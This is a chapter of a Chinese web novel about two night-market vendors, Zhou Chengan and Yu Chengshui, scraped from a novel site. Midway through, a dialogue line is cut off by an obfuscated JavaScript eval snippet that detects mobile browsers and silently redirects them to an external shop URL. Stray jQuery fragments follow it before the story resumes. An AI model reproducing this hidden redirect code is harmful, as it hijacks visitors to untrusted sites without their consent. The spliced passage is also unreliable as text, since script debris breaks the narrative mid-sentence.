文趣网 > 都市小说 > 老公我讨厌你 > 2. 第 2 章
    郁澄水刚把手伸出去就后悔了。

    梳子落哪儿不好,故意针对他似的,一分不差地砸到周城安的脚上。

    周城安低头一瞥,默不作声地弯腰拾起,将梳子对光看看,然后慢慢回头,将目光对准郁澄水。

    郁澄水被看得汗毛都快竖起来了。

    周城安面无表情的样子挺唬人的,再无辜的人都得反思,自己是不是做错了事。

    还没来得及多想,周城安有了动作。

    他将汤勺递给身边的墨镜男,而墨镜男扯了他一下,没扯住,似乎有点急:“你干啥去,千万别冲动!”

    周城安摇了摇头往这边走来,张旭和小绿毛后退一步,只有郁澄水站着没动。

    郁澄水有点没反应过来,额发炸起,呆呆地支棱在脑门上。细小的汗珠从脖颈滚落,亮盈盈地滑至锁骨,没入衣领。

    周城安停在他面前,蹙起眉毛将他打量一番。

    “你……”郁澄水想说,你看什么看。

    周城安却一下子转向张旭,不耐烦道:“你瞎嚷嚷什么?”

    张旭没想那么多,看见周城安过来,顿时找到主心骨:“周哥,正好,你来评评理。”

    周城安扫了眼身边的默不作声的人:“你有事说事。”

    张旭缩缩脖子,仍旧不服气地瞪着郁澄水。

    “我刚回来就听说,附近有家卖炸鸡的,舍不得那点摊位费,瞅着哪儿有空钻哪儿,这不纯粹一钉子户嘛!”

    郁澄水的思绪被拉回来,意识到什么,头发又炸起来几分。卖炸鸡的,钉子户?

    除了前头那两个字,其余的跟自己有关系?

    郁澄水无语到一哽。

    这就是个没脑子的文盲,原来杂志说的沟通不顺是这个意思。

    合着自己一直在对牛弹琴。

    而周城安听完张旭的精彩发言,扒拉两下梳齿,同样也沉默了。

    前天晚上,卖炸鸡的叭叭个不停。郁澄水站着挨骂,愣是一声不吭,脸憋得通红,睫毛直抖,看着委屈得要命。

    哪来的小哑巴。

    被欺负了也不吭声?

    周城安摁了摁太阳穴,刚想到这,身侧响起一道脆生生的声音。

    “你不识字还是不会数数?”郁澄水的脸颊发烫,拔高音量道,“我卖的是炸、鸡、柳,有需要联系我,我送你一本字典外加算数习题册。”

    “我知道你卖的是炸鸡……柳?”张旭一顿,被“柳”字砸了个正着,转头寻找小绿毛的身影,“到底是啥?”

    小绿毛哆哆嗦嗦。

    “张哥,我、我真不知道。我也有、有一周没、没摆摊了,今天一来,你、你就拉着我……”

    张旭两眼一闭,不信邪地跑去摊位前查看。

    郁澄水冷哼一声,用手背贴了贴脸。他一生气就会脸红,气得很了甚至呼吸不畅。

    所以他喜欢看星座运势,提前得知本周命运让他觉得安心,总之,少生气,少生气。

    而本周的运势,显然是极坏的。

    张旭扭扭捏捏地跑回来:“哎,我的周哥,你知道咋不早说……”

    郁澄水这才想起周城安的存在,也不知道他来干嘛的,像游戏里凑热闹的npc,非常影响自己发挥。

    周城安把梳子往张旭脑门上一扔:“你自己闹事还赖上我了?”

    张旭吓出一身冷汗,老老实实挨骂:“我刚学习回来,脑子发昏,一下子没听明白。”

    周城安把张旭拎到郁澄水跟前:“错了就赶紧道歉,你这一闹,耽误我做生意。”

    果然还是因为生意。

    郁澄水的脾气都快压不住了,也不稀罕什么破道歉:“认字吗?”

    张旭连连点头。

    店前的位置没人租,想到小绿毛的情况,他心说能帮一把就帮一把。

    街上人多口杂,一传十,十传百,叽里咕噜说啥的都有,他这不听混了吗!

    “认、认,实在对不住,帅哥,你在这安心摆摊,以后来我店里理发免费……”

    周城安在围裙上擦了下手,郁澄水不吭声,他又把张旭往前怼了几分。

    张旭的道歉声没停,郁澄水听得头疼,指着他说:“再有下次我就报警。”

    围观的人越来越多,他烦得不行,从两人中间穿过,大步走到街边洗手。

    周城安抖出半根烟,咬着没抽,往张旭的腿上踹了一脚:“也就是人脾气好,不跟你计较,回去把柳字抄一百遍,文盲。”

    张旭心有余悸:“我从此夹着尾巴做人……对了周哥,过几天店里试工,还是两百!”

    他说完就跑,路过郁澄水,点头哈腰地说了几句对不起。

    周城安笑骂了声出息,视线跟着落在街边。

    郁澄水被人找了麻烦也不哭不闹,正捣鼓那顶像模像样的厨师帽。

    他有一头齐胸的亚麻色长发,顺滑得能在灯光底下反光。

    帽檐压住左侧鬓发,右边的就落出来了。郁澄水唇上叼着皮筋,双手并用。

    帽子歪了,眼睛被遮住了,完了,右边的头发又掉下来了。

    周城安看乐了,好笨,这脾气在外头做生意准会吃亏。

    郁澄水好不容易把头发藏进帽子,手机上有两条未读消息,他解开锁屏。

    指头上还有股麻辣烫味儿,难闻死了。

    他一下子想到什么,刚才那梳子……是不是砸到周城安的脚了?

    郁澄水慢吞吞地点开微信。

    要不跟人说句对不起?

    还在犹豫,一看消息是他哥发来的,他没敢点开来看,决定先把欠周城安的道歉还了。

    郁澄水咬咬牙回头,冷不丁和那人对上视线。

    周城安嘴里叼着烟,两手插兜,目不转睛地盯着自己。

    空气仿佛凝滞了,混杂着复杂气味的夜市顿时安静下来。

    周城安听见丁秦宇叫了他一声,这才察觉自己在走神。最近太累,那小孩儿又像蜗牛似的,差点给他看困。

    忽然对面的人也看了过来。

    周城安挑起眉,帽子终于戴好了?

    然后他看见郁澄水快速走来,在自己面前刹住脚,使劲往前一踮。

    厨师帽差点怼上周城安的鼻尖,下头的一双眼睛炯炯有神,冒着火气。

    周城安觉得好笑,瞥到理发店招牌,不知怎的就想撇清关系:“我和张旭不熟,单纯能说得上话的关系。”

    “真的?”

    “当然。”

    郁澄水仍旧盯着他,眼睛瞪得很圆。他抿了抿唇又松开,像有重要的事情要说。

    于是周城安低下头,把耳朵凑过去。

    郁澄水的声音有点抖,但很凶:“再乱看,我就把你的眼睛挖出来,撒上盐吃掉。”

    周城安:“……”

    周城安垂眸,恰好看见一颗洁白的虎牙。

    他滚了滚喉结,宕机的大脑里就一个想法。

    好像一只虚张声势的猫。

    *

    这晚,一直到周城安收摊,郁澄水都没再跟他说一句话。

    丁秦宇累得不行:“走了回去休息……不是,你咋还在观察小少爷。”

    周城安拍开肩上的手:“从刚才开始,你就在嘀咕什么玩意儿?”

    丁秦宇一言难尽地看着他:“感情我说了那么久,你一句没听见?”

    郁澄水站在街边打电话,周城安瞥了一眼,抖了抖烟盒:“听见了,小声点行吗?”

    丁秦宇顺着他的目光,哈哈笑道:“虽然小少爷确实长得好,但你多少也收敛点吧。”

    周城安拿烟堵他的嘴:“什么时候改掉给人乱取外号的臭毛病?”

    这是重点吗,丁秦宇乐了:“管闲事给你管出兄弟情了?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741992|209116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    冰红茶说给就给?我想喝你都不让。”

    “我那是……”周城安说到一半不说了。

    丁秦宇问:“是什么?”

    周城安手插着兜往家走:“你多大了,喝什么冰红茶?是什么都跟你没关系。”

    他其实没想那么多,就昨天收摊时,见郁澄水盯着烤红薯摊,掏了好一阵兜,又默默把手缩了回去。

    这事闹的,生意不好也没必要连饭也不吃。

    看着怪可怜的。

    回去的路上,丁秦宇跟周城安对今晚的账,周城安一反常态地没表态。

    “周老板,你今天真不对劲啊。”

    周城安这次确实没听见:“说到哪了?”

    “也没哪,”丁秦宇进屋摘掉墨镜,“我刚才说,反正我就混口饭吃,具体怎么搞都听你的。”

    他俩在钳子街背后租了套老房,两室一厅,房东人好,租金特别便宜。

    前几年周城安咬牙出来单干,丁秦宇就一直跟着他瞎混。

    丁秦宇哪儿都好,就是没有上进心,他比周城安还大两岁,对自己的未来没半点打算。

    但周城安是个有野心的人。

    这几年多少赚了点,他想再攒一攒,开一家正儿八经的店。

    安稳下来谈个恋爱,不求大富大贵,日子比现在好过就行。普通人嘛,平平淡淡是最好不过的。

    唯一恼火的是,他有个读高二的弟弟。如果周家祖坟冒青烟,弟弟走狗屎运,考上了大学,周城安还得从口袋里摘出去一大笔。

    趁丁秦宇在洗澡,周城安自个儿下楼溜达,顺便买了条烟。

    小区门口停了辆豪车,周城安对别人的生活不感兴趣,顶多觉得稀奇,这老破小里还有人开这。

    一不留神,郁澄水从巷子里走出来,站在车边招手。

    周城安眯了下眼,回头跟小卖部老板说:“我在您门口抽根烟。”

    老板指向凳子,接着刷短视频:“随便,你自己坐。”

    车里的人下来了,天色暗,周城安隐约见着身西装,结合那车一琢磨,难不成郁澄水真是哪家的小少爷?

    但富二代图什么出来摆摊,千万别说是体验生活,周城安听不得这个。

    又看了几眼,车边的两人没说上几句,情绪越发激动。

    周城安在短视频背景音中,断断续续地听见几个字儿。

    “回去,不要赌气了,不是那意思……”

    好脾气的郁澄水浑身炸毛,抱起手,把头扭到一边,不吭声了。

    周城安越看越不对劲。

    那两人挺亲密的,而西装男的语气,莫名有股哄人的味道。

    夜风呼呼地吹,周城安搓了把头发,丁秦宇要这样跟他说话,他能恶心到吐出隔夜饭。

    紧接着,西装男走到另一边,弯腰冲郁澄水说了一句:“小宝……一直……后悔。”

    小宝?

    这个称呼像一声惊雷,炸得周城安起了身鸡皮疙瘩。

    门口传来一阵动静,老板见被踢倒的板凳,咂嘴评价:“现在的年轻人,咋咋呼呼的,咋一点儿沉不住气。”

    而周城安沉着脸回到出租屋,甩上门,一屁股坐在二手沙发上。

    丁秦宇洗完澡出来:“咋的,你被狗撵了?”

    周城安这才喘了口气:“问你个事。”

    “行,说来听听。”

    “你说,一男的,跟我差不多大,他为什么管另一个男的喊小宝……”

    说到这,周城安再次停住了。

    小宝的后面好像还有几个字,是什么来着?

    丁秦宇用见惯了大风大浪的语气说:“男的叫男的小宝咋了,男的和男的还能谈恋爱呢。”

    周城安的表情有点恍惚。

    脑子里的句子,倏地跟丁秦宇的话重叠了。

    “小宝,其实我一直在后悔。”